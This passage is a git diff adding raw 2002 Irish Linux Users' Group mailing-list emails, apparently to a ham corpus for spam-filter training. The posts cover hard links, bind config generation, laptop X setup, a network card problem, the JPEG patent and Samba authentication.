gotta be some benefit that I'm missing that's +> immediately obvious to everyone. + +mh used them nicely. mh stores one message per file. the refile command +allows you to move a message from one folder to another *or* link it to +another folder. it uses hard links to do this. this would suck to if +it used soft links - what if i later deleted the actual file? + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00080.93f80f25c954fe33b3218d98a6efb2c9 b/bayes/spamham/easy_ham_2/00080.93f80f25c954fe33b3218d98a6efb2c9 new file mode 100644 index 0000000..7191797 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00080.93f80f25c954fe33b3218d98a6efb2c9 @@ -0,0 +1,63 @@ +From ilug-admin@linux.ie Sat Jul 20 00:37:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 67959440C8 + for ; Fri, 19 Jul 2002 19:37:57 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 00:37:57 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JNX8J14315 for + ; Sat, 20 Jul 2002 00:33:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA06617; Sat, 20 Jul 2002 00:32:43 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay05.indigo.ie (relay05.indigo.ie [194.125.133.229]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id AAA06588 for ; + Sat, 20 Jul 2002 00:32:37 +0100 +Received: (qmail 50858 messnum 1193860 invoked from + network[159.134.100.10/k100-10.bas1.dbn.dublin.eircom.net]); + 19 Jul 2002 23:32:36 -0000 +Received: from k100-10.bas1.dbn.dublin.eircom.net (HELO gemini.windmill) + (159.134.100.10) by relay05.indigo.ie (qp 50858) with SMTP; 19 Jul 2002 + 23:32:36 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: Nick Murtagh +To: ilug@linux.ie +Subject: Re: [ILUG] Caching downloaded programs at gateway +Date: Sat, 20 Jul 2002 00:32:37 +0100 +User-Agent: KMail/1.4.1 +References: + <3D36C750.F6CA73F2@skynet.ie> +In-Reply-To: <3D36C750.F6CA73F2@skynet.ie> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200207200032.38090.nickm@go2.ie> +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thursday 18 July 2002 14:49, Ray Kelly wrote: +> one basic option that I know of is Squidalyser, http://ababa.org/ +> This doesn't do everything that you want but I've found +> it useful myself on a number of fronts +> Now it won't hive off things that have been downloaded but +> it your cache is so tuned and you've got the dick space you +> can keep some rather large objects in that. + +dick space? +large objects? + +This is ILUG right? + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00081.07dc5f38daa0ab9f5499fa3b3cf07ea6 b/bayes/spamham/easy_ham_2/00081.07dc5f38daa0ab9f5499fa3b3cf07ea6 new file mode 100644 index 0000000..c2d3e79 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00081.07dc5f38daa0ab9f5499fa3b3cf07ea6 @@ -0,0 +1,83 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 59B7F440C9 + for ; Mon, 22 Jul 2002 13:11:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:11:59 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFGL901396 for + ; Mon, 22 Jul 2002 16:16:21 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id PAA32552 for ; + Mon, 22 Jul 2002 15:55:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA31959; Mon, 22 Jul 2002 15:54:31 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA31911 for ; Mon, + 22 Jul 2002 15:54:17 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id PAA09175 for ; Mon, + 22 Jul 2002 15:18:58 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g6MErr715897 for ilug@linux.ie; Mon, 22 Jul 2002 15:53:53 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Mon, 22 Jul 2002 15:53:53 +0100 +From: "John P. Looney" +To: irish linux users group +Subject: Re: [ILUG] bind + lex + yacc... +Message-Id: <20020722145353.GC14543@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: irish linux users group +References: <20020722153905.A27790@ie.suberic.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, Jul 22, 2002 at 03:48:54PM +0100, Justin MacCarthy mentioned: +> Never having to support a large network myself, I know very little about +> this.. but what do lex & yacc have to do with anything ? +> These are language parsers, used to build complilers / interptreters and +> the like???!!! + + Bind configs are one sort of file. + + I think the person asking Kevin the question would like to have a nice +config language like: + + domain: "bing.com" + hosts: www mail arse smeg twitter + ttl: 20000 + + and then using lex & yacc, they could write a program that converts +between that config file, and the tedious bind configs, and maybe even +auto-generate a reverse DNS config file while they are at it. + + Personally, I think they are demented. It's much more a job for something +simple like Sed or Awk. People using lex & yacc just because they can make +baby jesus cry. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00082.b0ca31a7482b5c60906aa29a9fa6e9df b/bayes/spamham/easy_ham_2/00082.b0ca31a7482b5c60906aa29a9fa6e9df new file mode 100644 index 0000000..17a4198 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00082.b0ca31a7482b5c60906aa29a9fa6e9df @@ -0,0 +1,87 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 228D9440C8 + for ; Mon, 22 Jul 2002 13:12:05 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:05 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFGu901745 for + ; Mon, 22 Jul 2002 16:16:56 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id PAA32428 for ; + Mon, 22 Jul 2002 15:27:11 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA30448; Mon, 22 Jul 2002 15:26:08 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from apollo.dit.ie (apollo.dit.ie [147.252.1.121]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id PAA30415 for ; + Mon, 22 Jul 2002 15:26:01 +0100 +Received: from jupiter.dit.ie (jupiter.dit.ie [147.252.1.77]) by + apollo.dit.ie (8.11.6/8.11.6) with ESMTP id g6MEDaW19243 for + ; Mon, 22 Jul 2002 15:13:36 +0100 +Received: from holger ([147.252.132.189]) by mail.dit.ie (PMDF V6.1 + #30532) with SMTP id <01KKEF1SBH5U8WX7OP@mail.dit.ie> for ilug@linux.ie; + Mon, 22 Jul 2002 15:23:56 +0100 (WET-DST) +Date: Mon, 22 Jul 2002 15:26:00 +0100 +From: Richard Eibrand +To: ilug +Message-Id: +Organization: DIT Kevin Street +MIME-Version: 1.0 +X-Mailer: Opera 6.01 build 1041 +Content-Type: text/plain; charset=windows-1252 +Content-Transfer-Encoding: 7BIT +X-Priority: 3 (Normal) +Subject: [ILUG] Dell Inspiron 2650 X problem +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Howdy all, + +I have a friend with the problem outlined below, suggestions anyone? + + +"I have a dell inspirion 2650 laptop, with a P4 1.6GHz proc., an Nvidia Geforce II graphics card (8Mb) and am trying to +install redhat 7.3 . +The installation goes nicely until the Xwindows setup. My graphics card IS detected but not the monitor. I have +randomly chosen various LCD laptop display monitors but none seem to work, problem is that when i test a particular +monitor the screen doesn't default back to the nice clear picture i have become acustomed to but remains fuzzy and +flashy so it is impossible to test another monitor type. rebooting allows me to run in text mode where i try to configure X +again with Xconfigurator but i run into the same problem again. + +Very annoying..." + +Ta very, + +R + +---------------------------------------- +Richard Eibrand, +School of Computing +Dublin Institute of Technology +Kevin Street, Dublin 8 +Ireland + +Office : +353 1 402 4682 +Mobile : +353 87 618 1793 +Email : richard.eibrand@dit.ie, + reibrand@maths.kst.dit.ie + + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00083.e0e7d1493ad397ae3925c14f8580c948 b/bayes/spamham/easy_ham_2/00083.e0e7d1493ad397ae3925c14f8580c948 new file mode 100644 index 0000000..e07c24f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00083.e0e7d1493ad397ae3925c14f8580c948 @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5D909440C9 + for ; Mon, 22 Jul 2002 13:12:07 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:07 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFhaI08571 for + ; Mon, 22 Jul 2002 16:43:36 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA30880 for ; + Mon, 22 Jul 2002 09:10:45 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA15617; Mon, 22 Jul 2002 09:10:08 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA15550 for ; Mon, + 22 Jul 2002 09:10:00 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id IAA17820 for ; Mon, + 22 Jul 2002 08:34:47 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g6M89fA07479 for ilug@linux.ie; Mon, 22 Jul 2002 09:09:41 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Mon, 22 Jul 2002 09:09:41 +0100 +From: "John P. Looney" +To: ILUG Mailing List +Subject: Re: [ILUG] How to copy some files +Message-Id: <20020722080941.GI3234@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ILUG Mailing List +References: <1027108120.3d386d180910a@webmail.gameshrine.com> + <15673.14143.879609.371088@gargle.gargle.HOWL> + <20020720184341.E23917@ie.suberic.net> + <15673.47359.781493.358686@gargle.gargle.HOWL> + <20020720213335.A27034@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020720213335.A27034@ie.suberic.net> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, Jul 20, 2002 at 09:33:35PM +0100, kevin lyda mentioned: +> > > apparently some systems limited soft links to the same device but +> > > gave up after a while. +> > Why? +> to make them consistent with hard links. + + That's something that POSIX would do - make every platform as equally +broken, rather than standing up and saying "how about we try & make +everyone better". + + (why ? Because in the real world, you can't. Somethings just suck) + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00084.98de2f371693b557ea6f13c95d3514ec b/bayes/spamham/easy_ham_2/00084.98de2f371693b557ea6f13c95d3514ec new file mode 100644 index 0000000..e099041 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00084.98de2f371693b557ea6f13c95d3514ec @@ -0,0 +1,91 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 15F69440CC + for ; Mon, 22 Jul 2002 13:12:08 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:08 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFhZI08547 for + ; Mon, 22 Jul 2002 16:43:35 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA30906 for ; + Mon, 22 Jul 2002 09:19:37 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA16113; Mon, 22 Jul 2002 09:18:30 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from seven.eurokom.ie (seven.eurokom.ie [192.135.225.79]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA16084 for ; + Mon, 22 Jul 2002 09:18:24 +0100 +Received: from [213.190.149.122] (mailgate.bge.eurokom.ie + [213.190.149.122]) by vms.eurokom.ie (PMDF V5.2-33 #40199) with SMTP id + <01KKE2A2DB6M9E8AXU@vms.eurokom.ie> for ilug@linux.ie; Mon, 22 Jul 2002 + 09:18:00 +0100 (WET-DST) +Received: from no.name.available by [213.190.149.122] via smtpd + (for vms.eurokom.ie [192.135.225.92]) with SMTP; Mon, 22 Jul 2002 08:16:37 + +0000 (UT) +Received: by exch02.bge.ie with Internet Mail Service (5.5.2653.19) id + <3VH65PAV>; Mon, 22 Jul 2002 09:15:18 +0100 +Date: Mon, 22 Jul 2002 09:15:17 +0100 +From: Liam Maher +To: ilug@linux.ie +Message-Id: <74FD0D00945F7644ACC64730931C054AA9E857@exch02.bge.ie> +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 7BIT +Subject: [ILUG] RH 7.3 and 3Com 3C905C +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I upgraded from RH 7.2 to RH 7.3 over the weekend and now the network card +has died, when I take a look at the network configuration tool it tells me +the card is inactive and when I try to activate it the operation fails. I +cant seem to find 3C905C software on the web ! Any ideas ? + +Cheers +Liam + + + +************************************************************ + +E-mail Disclaimer: + +This e-mail message and any attachments may contain information, which is +confidential , privileged or commercially sensitive, the content of which +may not be disclosed or used by anyone other then the named addressee. If +you have received this e-mail in error please notify the sender immediately +and delete this e-mail from your system. + +BGE does not accept any responsibility for the accuracy or completeness of +the contents of this e-mail or its attachments or for any statements or +contractual commitments contained in this e-mail or its attachments. BGE +cannot guarantee that the message or any attachment is virus free or has not +been intercepted, corrupted or amended. Therefore, BGE denies all liability +for any breach of confidence, loss or damage that may be suffered by the +recipient and any person opening it. + +If you are not the intended recipient, any disclosure, copying, distribution +or any action taken or omitted to be taken in reliance on it is prohibited +and is unlawful. + +Thank you for your attention. + +Visit our website www.bge.ie + +************************************************************ + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00085.4688df2caa6ff00d499233c06fee8aad b/bayes/spamham/easy_ham_2/00085.4688df2caa6ff00d499233c06fee8aad new file mode 100644 index 0000000..f60e35b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00085.4688df2caa6ff00d499233c06fee8aad @@ -0,0 +1,95 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CC5FB440CD + for ; Mon, 22 Jul 2002 13:12:08 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:08 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFhXI08522 for + ; Mon, 22 Jul 2002 16:43:33 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA30967 for ; + Mon, 22 Jul 2002 09:34:11 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA16743; Mon, 22 Jul 2002 09:33:05 +0100 +Received: from mel-rto3.wanadoo.fr (smtp-out-3.wanadoo.fr + [193.252.19.233]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA16706 + for ; Mon, 22 Jul 2002 09:32:58 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-3.wanadoo.fr + [193.252.19.233] claimed to be mel-rto3.wanadoo.fr +Received: from mel-rta9.wanadoo.fr (193.252.19.69) by mel-rto3.wanadoo.fr + (6.5.007) id 3D1848E600E30E6F for ilug@linux.ie; Mon, 22 Jul 2002 10:32:23 + +0200 +Received: from bolsh.wanadoo.fr (80.8.238.37) by mel-rta9.wanadoo.fr + (6.5.007) id 3D2A791A0064D402 for ilug@linux.ie; Mon, 22 Jul 2002 10:32:23 + +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17WYgq-0001SS-00 for ; Mon, 22 Jul 2002 10:37:12 +0200 +Date: Mon, 22 Jul 2002 10:37:12 +0200 +From: David Neary +To: irish linux users group +Subject: Re: [ILUG] jpeg patented... +Message-Id: <20020722103712.A5367@wanadoo.fr> +References: <20020719041127.A29748@ie.suberic.net> + <15673.64797.792173.490109@klortho.waider.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +In-Reply-To: <15673.64797.792173.490109@klortho.waider.ie> +User-Agent: Mutt/1.3.23i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Ronan Waide wrote: +> Having skimmed over the patent, it appears to be describing a sort of +> image compression algorithm which gels more or less with the JPEG +> mechanism. Since I don't quite understand how jpeg works (it's hard +> math, and I'm just a dumb comp. eng.) + +It's not hard math - jpeg is a straight block-based DCT with +quantisation - which is about the oldest image compression +algorithm out there, and I think certainly predates 1986. So I +really have no idea what they claim they've patented - doin DCT +on 8x8 blocks of an image, quantising the resulting coefficients, +or DCT in general? I'm extremely skeptical about this whole +story... + +> I don't know how exactly it +> matches up to JPEG. I'm more curious as to whether it covers MPEG, +> because it /is/ described in the context of video streams rather than +> stills, and I had a vague impression that the MPEG and JPEG +> compression techniques were similar. One of the patents it references +> also seems to hint at MPEG. + +MPEG 1, 2, 4 or 7? They're all very different compression +algorithms. + +Anyway, here's to ogg, and hopefully the future mpeg4-standard +compression algorithm the project comes up with (fingers +crossed). And I wouldn't worry about the jpeg thing - in addition +the patent runs out next year, and I would suggest that having +failed to protect their IP for 15 years, as (iirc) is their +responsibility, their claim would probably never hold up in +court. + +Cheers, +Dave. + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00086.fb3bca2671d0ce43431a201beb3cb268 b/bayes/spamham/easy_ham_2/00086.fb3bca2671d0ce43431a201beb3cb268 new file mode 100644 index 0000000..697fe73 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00086.fb3bca2671d0ce43431a201beb3cb268 @@ -0,0 +1,88 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4F429440C9 + for ; Mon, 22 Jul 2002 13:12:13 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:13 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFklI10365 for + ; Mon, 22 Jul 2002 16:46:47 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id XAA29256 for ; + Sun, 21 Jul 2002 23:07:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA27862; Sun, 21 Jul 2002 23:06:40 +0100 +Received: from hibernia.jakma.org (hibernia.clubi.ie [212.17.32.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA27824 for ; + Sun, 21 Jul 2002 23:06:34 +0100 +Received: from fogarty.jakma.org (fogarty.jakma.org [192.168.0.4]) by + hibernia.jakma.org (8.11.6/8.11.6) with ESMTP id g6LMCcw14609; + Sun, 21 Jul 2002 23:12:38 +0100 +Received: from localhost (paul@localhost) by fogarty.jakma.org + (8.11.6/8.11.6) with ESMTP id g6LMCZl09031; Sun, 21 Jul 2002 23:12:36 + +0100 +X-Authentication-Warning: fogarty.jakma.org: paul owned process doing -bs +Date: Sun, 21 Jul 2002 23:12:34 +0100 (IST) +From: Paul Jakma +X-X-Sender: paul@fogarty.jakma.org +To: kevin lyda +Cc: irish linux users group +Subject: Re: [ILUG] jpeg patented... +In-Reply-To: <20020719041127.A29748@ie.suberic.net> +Message-Id: +X-Nsa: iraq saddam hammas hisballah rabin ayatollah korea vietnam revolt + mustard gas +X-Dumb-Filters: aryan marijuiana cocaine heroin hardcore cum pussy porn + teen tit sex lesbian group +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, 19 Jul 2002, kevin lyda wrote: + +> go after next? how many jpeg rendering/creating apps/os's has ms +> distributed to their customers since 1986? + +pah.. MS'd just buy them. (and i'm sure they'd happy for this to +happen). + +> kevin + +oh yes, see you've setup that tdma thingy, so here's a thought. do +you reckon spammers (or the software they use) is/are smart enough to + + s/\(.\)+\+.*@\([a-zA-Z\.0-9\-]\)/\1@\2/ + +on email addresses? it's a fairly old trick, so i dont see why they +wouldnt. + +personally, i rarely get spam to any of the plussed addresses +i've given out - i think i've only ever gotten /one/ cause ebay +seem to have sold on my address. apart from that - never, not even +to +usenet, so i wonder whether harvesting software does the above. + +regards, +-- +Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A +Fortune: +Thus spake the master programmer: + "After three days without programming, life becomes meaningless." + -- Geoffrey James, "The Tao of Programming" + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00087.809e03adf935435f9e493a3ffdfd9e85 b/bayes/spamham/easy_ham_2/00087.809e03adf935435f9e493a3ffdfd9e85 new file mode 100644 index 0000000..7ce3abb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00087.809e03adf935435f9e493a3ffdfd9e85 @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7E11E440CC + for ; Mon, 22 Jul 2002 13:12:16 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:16 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFjQI09414 for + ; Mon, 22 Jul 2002 16:45:26 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id FAA30306 for ; + Mon, 22 Jul 2002 05:33:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id FAA08215; Mon, 22 Jul 2002 05:32:30 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id FAA08179 + for ; Mon, 22 Jul 2002 05:32:23 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts15-029.dublin.indigo.ie + [194.125.176.29]) by mail.magicgoeshere.com (Postfix) with ESMTP id + E38EAF8FD for ; Mon, 22 Jul 2002 05:17:14 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + 346C43C4E3; Mon, 22 Jul 2002 05:39:38 +0100 (IST) +Date: Mon, 22 Jul 2002 05:39:37 +0100 +From: Niall O Broin +To: ilug@linux.ie +Message-Id: <20020722043937.GA1732@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.27i +Subject: [ILUG] Samba login question +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I have a situation with a small network as follows: + +A number of client workstations which are running VMware, each of which will +run a local copy of Samba (not the VMware autoinstalled version) to let +VMware access local linux disks. + +An NIS/NFS server which will also run Samba to allow the VMware clients +access to its filesystems. + +How can I set things up so that all the VMware clients (all running 'doze +98, possibly being upgraded in future to W2K) authenticate against the NIS +server's Samba ? I have read the Samab documentation in large quantities +down through the years but as I've never wanted to do anything like this, I +never paid much attention to all the stuff about domain controllers etc. +which I presume is what I will need to have running here. + +I would also like, if at all possible, to 